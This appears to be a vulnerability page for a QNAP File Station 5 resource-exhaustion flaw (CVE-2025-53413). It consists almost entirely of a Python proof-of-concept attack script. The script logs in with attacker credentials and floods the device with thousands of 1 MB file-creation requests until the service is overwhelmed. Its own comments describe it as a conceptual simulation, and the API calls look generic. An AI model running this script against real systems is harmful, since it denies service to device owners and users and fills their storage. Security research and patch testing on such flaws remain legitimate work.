QNAP File Station 5 资源分配无限制漏洞 (CVE-2025-53413)

# CVE-2025-53413 PoC - Resource Exhaustion Attack # Target: QNAP File Station 5 # Requirement: Valid user credentials import requests import time import threading TARGET_URL = "https://<qnap-ip>/cgi-bin/filestation/cgi.fcgi" USERNAME = "attacker_account" PASSWORD = "attacker_password" def resource_exhaustion_attack(): """ Simulate resource exhaustion by repeatedly creating files This PoC demonstrates the vulnerability concept """ session = requests.Session() # Login to File Station login_data = { "app": "FileStation", "method": "login", "username": USERNAME, "password": PASSWORD } response = session.post(TARGET_URL, json=login_data) if response.status_code != 200: print("[-] Login failed") return print("[+] Logged in successfully") # Create many files to exhaust resources for i in range(10000): create_file_data = { "app": "FileStation", "method": "createFile", "path": f"/share/Multimedia/test_{i}.txt", "content": "A" * 1024 * 1024 # 1MB file } try: response = session.post(TARGET_URL, json=create_file_data, timeout=5) if i % 100 == 0: print(f"[*] Created {i} files") except requests.exceptions.Timeout: print("[!] Service appears to be overwhelmed") break print("[+] Attack completed") # Run the attack if __name__ == "__main__": resource_exhaustion_attack()